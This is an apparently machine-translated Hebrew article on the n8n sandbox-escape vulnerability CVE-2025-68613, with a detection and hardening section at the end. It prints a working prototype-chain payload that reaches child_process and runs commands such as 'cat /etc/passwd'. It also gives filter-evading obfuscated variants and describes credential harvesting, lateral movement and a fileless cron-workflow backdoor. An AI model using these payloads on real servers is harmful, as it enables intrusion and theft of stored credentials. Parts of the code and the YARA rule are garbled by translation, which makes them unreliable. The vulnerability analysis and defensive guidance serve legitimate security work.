בנוף האבטחה הסוגר של שנת 2025, חשיפת CVE-2025-68613 (CVSS 10.0) פגע בתעשייה בעוצמה של נשק קינטי. ככלי האוטומציה של זרימת העבודה בקוד פתוח הפופולרי ביותר בעולם, n8n מהווה את הבסיס ללוגיקה העסקית המרכזית של אינספור ארגונים. עם זאת, פגיעות זו, המאפשרת לתוקפים לא מאומתים (או בעלי הרשאות נמוכות) להריץ קוד שרירותי, חשפה באופן מוחלט את נקודת התורפה הארכיטקטונית של פלטפורמות "Low-Code/No-Code" מודרניות.
עבור מהנדסי אבטחה בכירים וחוקרי צוות Red Team, CVE-2025-68613 הוא הרבה יותר מ"כישלון אימות". זהו מקרה בוחן קלאסי של ניצול משולב של סביבת ריצה דינמית של Node.js, כישלון מודל יכולות האובייקט, ו זיהום אב טיפוס.
מאמר זה נטש את הדיווח השטחי על פגיעות כדי לצלול לעומק המנוע הפנימי של V8, לפרק כל בייט של בריחת הסנדבוקס, ולספק מדריך מקיף לזיהוי והגנה עבור צוותי Blue Teams בארגונים.

פירוק משטח התקיפה
הערך המרכזי של n8n הוא "קישוריות". הוא מחבר בין מסדי נתונים, שירותי SaaS ו-API פנימיים באמצעות אלפי צמתים אינטגרטיביים. כדי לאפשר עיבוד נתונים דינמי, n8n מאפשר למשתמשים להטמיע ביטויי JavaScript בתוך הצמתים, בדרך כלל עטופים ב- {{ }} תחביר.
לפני התפרצות CVE-2025-68613, n8n הסתמך על Node.js המקורי. vm מודול לבידוד קוד זה שסופק על ידי המשתמש.
מדוע Node.js vm?
Node.js vm המודול מאפשר קומפילציה והרצת קוד בתוך סביבת מכונה וירטואלית V8. הוא מספק אובייקט גלובלי מבודד (Contextified Sandbox).
- באופן אידיאלי: הקוד אינו יכול לגשת למשתנים מחוץ לארגז החול.
- המציאות: ה
vmהמודול מוכר בקרב קהילת האבטחה כ"שבור בכוונה.”
ניתוח משטח התקיפה:
- נקודות כניסה: כל צומת המקבל קלט ביטוי (לדוגמה,
הגדר,פונקציה,בקשת HTTPצמתים). - זרימת ביצוע: קלט משתמש -> ניתוח מחרוזת ->
vm.runInNewContext()-> ביצוע. - הפגם: כל עוד אובייקט כלשהו בתוך ארגז החול מתייחס לאובייקט חיצוני (למשל, העברת משתני סביבת מארח באמצעות
זההקשר), תוקף יכול לנצל את JavaScript's טיפוס על שרשרת אב טיפוס מנגנון לבריחה מהארגז.
ניתוח טכני מעמיק — משרשרת אב טיפוס ל-RCE
כדי להבין את לוגיקת הניצול של CVE-2025-68613, יש להבין את קונסטרוקטור נכס ב-JavaScript.
כמעט כל אובייקט ב-JavaScript כולל קונסטרוקטור מאפיין המצביע על הפונקציה שיצרה אותו.
({}).constructor===אובייקטאובייקט.קונסטרוקטור===פונקציה
הלוגיקה המרכזית של הבריחה: this.constructor.constructor
בסביבה המוגבלת של n8n, תוקף אינו יכול לקרוא ישירות ל- require('child_process'). עם זאת, התוקף מחזיק בהקשר הביצוע הנוכחי: זה.
- קפיצה 1:
זההוא אובייקט ההקשר בתוך ארגז החול. - קפיצה 2:
this.constructorהואאובייקטקונסטרוקטור בתוך ארגז החול. - קפיצה 3 (קריטית):
this.constructor.constructorמחליט על המארחפונקציהקונסטרוקטור.
מדוע זה מפר את ארגז החול? מכיוון שמנוע V8, בעת טיפול באינטראקציות בין אובייקטים בין-הקשרים, פותר את שרשרת הבנאים להגדרה החיצונית אם האובייקט השורשי מקורו מחוץ למערכת.
ברגע שהתוקף משיג את ה-Host פונקציה קונסטרוקטור, הם יכולים ליצור באופן דינמי פונקציה אנונימית המתבצעת ב- הקשר המארח. פונקציה אנונימית זו אינה כפופה למגבלות ארגז החול וניתן לגשת אליה מהגלובלי תהליך אובייקט.
הפרימיטיב המלא של הניצול
המטען שנבנה על ידי התוקף אינו מחרוזת פשוטה, אלא קטע קוד JavaScript מדויק שנועד לשחזר את מערכת טעינת המודולים של Node.js.
JavaScript
// שלב 1: רכישת קונסטרוקטור הפונקציה של סביבת המארח const ForeignFunction = this.constructor.constructor;
// שלב 2: יצירת פונקציה באופן דינמי המחזירה את האובייקט 'process' // קוד זה מבוצע בהקשר המארח, תוך עקיפת ארגז החול const getProcess = ForeignFunction('return process');
// שלב 3: הפעל את הפונקציה כדי לקבל את ידית התהליך const proc = getProcess();
// שלב 4: גש ל-mainModule כדי לקבל את הידית 'require' const require = proc.mainModule.require;
// שלב 5: טען את 'child_process' והפעל פקודות מערכת const result = require(‘child_process’).execSync(‘id’).toString();`
ב-n8n {{ }} ביטוי, לוגיקה זו נדחסת להזרקה קטלנית בת שורה אחת.
לחימה והסוואה — עקיפת מסננים סטטיים
בניסיונות ההגנה המוקדמים נגד CVE-2025-68613, כמה תיקונים זמניים ניסו לסנן מילות מפתח כמו process, constructor או require באמצעות regex.
עם זאת, עבור שפה דינמית מאוד כמו JavaScript, סינון סטטי הוא חסר תועלת.
גרסת הסתרה A: שרשור מחרוזות וקידוד
התוקפים מנצלים את הגמישות של JavaScript כדי לפצל או לקודד מילות מפתח, ובכך לעקוף את זיהוי החתימות.
JavaScript
{{ // עקיפת זיהוי "קונסטרוקטור" this['con'+'structor']['con'+'structor']( // עקיפת זיהוי "תהליך החזרה" 'return p'+'rocess' )() .mainModule.require('ch'+'ild_pr'+'ocess') .execSync('cat /etc/passwd') }}
גרסת הסתרה B: השתקפות ו-Proxy
תוקפים מתקדמים משתמשים הרהר.קבל לגישה דינמית למאפיינים, מה שמקשה על ניתוח עץ התחביר המופשט (AST) לאיתור שרשרת הקריאות.
JavaScript
{{ // שימוש ב-Reflect כדי למצוא את מפתח הקונסטרוקטור באופן דינמי const c = Reflect.get(this, Reflect.ownKeys(this).find(k => k.toString() === 'constructor')); // המשך ביצוע... }}
זה מראה שתאימות רגולרית פשוטה לא יכולה לתקן את CVE-2025-68613; התיקון חייב לטפל בבעיה הבסיסית. אילוצים ביכולות האובייקט.
לאחר הניצול — מדוע n8n הוא ראש גשר מושלם
פגיעה בשרת n8n (השגת Shell) היא רק ההתחלה. בשרשרת ההרג של APT (איום מתמשך ומתקדם), ל-n8n יש ערך אסטרטגי ייחודי.
איסוף אישורים
מסד הנתונים n8n (בדרך כלל SQLite או PostgreSQL) מאחסן אישורים עבור כל השירותים המחוברים. למרות ההצפנה, תוקף עם RCE יכול לקרוא את מפתח ההצפנה (בדרך כלל במשתני סביבה או בקבצי תצורה), ובכך לפענח:
- מפתחות משתמש AWS IAM
- מפתחות API של Stripe / PayPal
- מחרוזות חיבור למסד נתונים ארגוני
- אסימוני בוט Slack / Discord
תנועה לרוחב
שרתים n8n מותקנים בדרך כלל עמוק בתוך האינטרא-נט ומורשים לגשת לממשקי API פנימיים שונים. תוקפים יכולים להשתמש ב-n8n כ SOCKS פרוקסי, או לשנות ישירות את צמתים בקשת HTTP קיימים כדי לשלוח בקשות בדיקה לשירותים פנימיים אחרים (כגון Jenkins, GitLab), ובכך לסרוק ביעילות את הנכסים הפנימיים.
התמדה
קובצי בינארי של תוכנות זדוניות מסורתיות נסרקים על ידי פתרונות EDR. אך אם תוקף יוצר זרימת עבודה "Cron" ב-n8n הפועלת כל 5 דקות ומבצעת JavaScript זדוני, דלת אחורית זו היא ללא קבצים. הוא משתלב באופן מלא בהיגיון העסקי הרגיל, מה שהופך אותו לקשה מאוד לזיהוי.
מדריך צוות כחול — איתור והגנה
צוותי אבטחת מידע בארגונים (Blue Teams) הנדרשים להתמודד עם CVE-2025-68613 נדרשים לעשות יותר מאשר רק להחיל את התיקון הרשמי.
זיהוי חתימות תעבורה (SIEM/IDS)
לפקח על גופי בקשות HTTP המכילים {{ שכוללים גם מילות מפתח כמו קונסטרוקטור, תהליך, exec, או להתרבות.
דוגמה לכלל YARA:
כלל DETECT_N8N_RCE_ATTEMPT { meta: description = "מזהה ניסיונות הזרקת ביטויים המכוונים ל-n8n (CVE-2025-68613)" severity = "קריטי" strings: $expr_start = "{{" $keyword1 = "constructor" $keyword2 = "process.mainModule" $keyword3 = "child_process" $keyword4 = "String.fromCharCode" condition: $expr_start ו-(2 מתוך ($keyword*)) }
ביקורת יומנים
בדוק את יומני הביצוע של n8n כדי לאתר חריגות שגיאה הודעות, ובפרט רשומות המכילות גישה למשתנה גלובלי נדחתה או ReferenceError: התהליך אינו מוגדר. אלה מצביעים לעתים קרובות על תוקף הבודק את גבולות הסנדבוקס.
הקשחת מבנים
- בידוד Docker: הפעל מכולות n8n עם
-cap-drop=ALLלהסיר את כל יכולות לינוקס המיותרות. - בקרת תעבורה יוצאת: הגדר מדיניות רשת כדי למנוע מהמכל n8n ליזום חיבורים לכתובות IP ציבוריות שאינן ברשימת ההיתרים, ובכך לחסום חיבורי מעטפת הפוכה לשרתים C2.
מסקנה: נקודת מפנה באבטחת Low-Code
CVE-2025-68613 מייצג נקודת מפנה בהיסטוריה של אבטחת פלטפורמות Low-Code/No-Code. הוא מזכיר לנו ש גמישות ואבטחה הן לעתים קרובות משחק סכום אפס.
כאשר אנו מעניקים למשתמשים רגילים את מלוא העוצמה של שפת תכנות (כמו ביטויי JavaScript), אנו למעשה מזמינים תוקפים לסביבת הריצה שלנו. מערכות ההגנה העתידיות לא יוכלו להסתמך עוד על סביבות בדיקה שבריריות ברמת היישום, אלא יצטרכו לעבור ל אבטחה מובנית ארכיטקטורות, כגון שימוש ב-WebAssembly (Wasm) לבידוד אמיתי ובטוח של זיכרון בעת ביצוע קוד המשתמש.

